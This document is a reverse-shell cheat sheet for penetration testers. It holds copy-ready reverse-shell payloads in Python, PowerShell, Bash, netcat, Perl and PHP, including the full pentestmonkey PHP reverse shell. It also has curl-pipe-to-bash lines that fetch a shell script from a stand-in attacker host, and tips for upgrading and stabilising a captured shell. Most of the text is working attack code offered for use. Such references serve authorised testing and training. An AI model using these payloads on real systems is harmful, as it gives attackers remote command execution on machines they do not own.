# Reverse Shell Cheat Sheet

## Reverse Shell Cheat Sheet

You may find it hard to get a shell on a system because of bad characters. If that is the case, you can possibly either download the shell as a script to the system or curl it into the shell or an interpreter.

```bash
curl http://attacker.go/shell.txt | bash
curl http://attacker.go/shell.py | python3
...
```

### Python

This reverse shell uses dup2 to duplicate the file descriptors 0,1, and 2 and automatically sends them through the socket using s.fileno() which gets the file descriptor which is associated with the socket connection.

```python
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((<IP>,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

### Powershell

```
$client = New-Object System.Net.Sockets.TCPClient("XX.XX.XX.XX",XXXX);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
```

```
$socket = new-object System.Net.Sockets.TcpClient('XXX.XXX.XXX.XXX', XXX);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do
{
    $writer.Flush();
    $read = $null;
    $res = ""
    while($stream.DataAvailable -or $read -eq $null) {
        $read = $stream.Read($buffer, 0, 1024)
    }
    $out = $encoding.GetString($buffer, 0, $read).Replace("`r`n","").Replace("`n","");
    if(!$out.equals("exit")){
        $args = "";
        if($out.IndexOf(' ') -gt -1){
            $args = $out.substring($out.IndexOf(' ')+1);
            $out = $out.substring(0,$out.IndexOf(' '));
            if($args.split(' ').length -gt 1){
                $pinfo = New-Object System.Diagnostics.ProcessStartInfo
                $pinfo.FileName = "cmd.exe"
                $pinfo.RedirectStandardError = $true
                $pinfo.RedirectStandardOutput = $true
                $pinfo.UseShellExecute = $false
                $pinfo.Arguments = "/c $out $args"
                $p = New-Object System.Diagnostics.Process
                $p.StartInfo = $pinfo
                $p.Start() | Out-Null
                $p.WaitForExit()
                $stdout = $p.StandardOutput.ReadToEnd()
                $stderr = $p.StandardError.ReadToEnd()
                if ($p.ExitCode -ne 0) {
                    $res = $stderr
                } else {
                    $res = $stdout
                }
            }
            else{
                $res = (&"$out" "$args") | out-string;
            }
        }
        else{
            $res = (&"$out") | out-string;
        }
        if($res -ne $null){
        $writer.WriteLine($res)
    }
    }
}While (!$out.equals("exit"))
$writer.close();
$socket.close();
$stream.Dispose()
```

### Bash

```bash
bash -i >& /dev/tcp/<IP>/<PORT> 0>&1
```

```bash
sh -i >& /dev/udp/<IP>/<PORT> 0>&1
```

### Netcat

```bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <IP> <PORT> >/tmp/f
```

```bash
nc -nv <IP> <PORT> -e <shell>
```

### Perl

```perl
perl -e 'use Socket;$i="<IP>";$p=<PORT>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```

### PHP

```php
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
    // Fork and have the parent process exit
    $pid = pcntl_fork();

    if ($pid == -1) {
        printit("ERROR: Can't fork");
        exit(1);
    }

    if ($pid) {
        exit(0);  // Parent exits
    }

    // Make the current process a session leader
    // Will only succeed if we forked
    if (posix_setsid() == -1) {
        printit("Error: Can't setsid()");
        exit(1);
    }

    $daemon = 1;
} else {
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
    printit("$errstr ($errno)");
    exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
    // Check for end of TCP connection
    if (feof($sock)) {
        printit("ERROR: Shell connection terminated");
        break;
    }

    // Check for end of STDOUT
    if (feof($pipes[1])) {
        printit("ERROR: Shell process terminated");
        break;
    }

    // Wait until a command is end down $sock, or some
    // command output is available on STDOUT or STDERR
    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

    // If we can read from the TCP socket, send
    // data to process's STDIN
    if (in_array($sock, $read_a)) {
        if ($debug) printit("SOCK READ");
        $input = fread($sock, $chunk_size);
        if ($debug) printit("SOCK: $input");
        fwrite($pipes[0], $input);
    }

    // If we can read from the process's STDOUT
    // send data down tcp connection
    if (in_array($pipes[1], $read_a)) {
        if ($debug) printit("STDOUT READ");
        $input = fread($pipes[1], $chunk_size);
        if ($debug) printit("STDOUT: $input");
        fwrite($sock, $input);
    }

    // If we can read from the process's STDERR
    // send data down tcp connection
    if (in_array($pipes[2], $read_a)) {
        if ($debug) printit("STDERR READ");
        $input = fread($pipes[2], $chunk_size);
        if ($debug) printit("STDERR: $input");
        fwrite($sock, $input);
    }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
    if (!$daemon) {
        print "$string\n";
    }
}

?>
```

## Getting  a TTY Shell

From: <https://netsec.ws/?p=337>

### In Bash

```bash
python -c 'import pty; pty.spawn("/bin/bash");'
```

```bash
echo os.system('/bin/bash')
```

```bash
/bin/sh -i
```

```bash
perl -e 'exec "/bin/bash"';
```

```bash
perl: exec "/bin/bash";
```

```bash
ruby: exec "/bin/sh"
```

```bash
lua: os.execute('/bin/sh')
```

### In IRB

```ruby
exec "/bin/sh"
```

### In Vi or Vim

```bash
:!bash
```

```bash
:set shell=/bin/bash:shell
```

### In nmap

```bash
nmap --interactive
!sh
```

## Improving your Shell

### On Linux

After a reverse shell connects back:

```bash
python -c 'import pty; pty.spawn("/bin/bash");'
```

* Press `ctrl+z` to background the shell
* Type the following:
  * *This method only works if the shell is bash*

    ```bash
    stty raw -echo
    fg
    ```
* [bash - What does "stty raw -echo" do on OS X - Stack Overflow](https://stackoverflow.com/questions/22832933/what-does-stty-raw-echo-do-on-os-x)
* Or

  ```bash
   s=$(stty -g); stty -icanon -echo -isig; fg; stty "$s"
  ```

  * stty -g gets all of the stty settings
  * icanon allows input-line editing
  * -echo does not echo characters *not sure why this is needed*
  * -isig disables the checking of special characters

  **On Windows**

  Use rlwrap in front of your listener.

```bash
sudo rlwrap nc -nvlp 443
```

### Shell size

If your shell size is off you can do the following

* Press `ctrl+z` to background the shell or open another shell on your system
* Type:

  ```bash
  stty size
  ```
* On the target shell

  ```bash
  stty rows <First Number From stty size> cols <Second Number>
  ```


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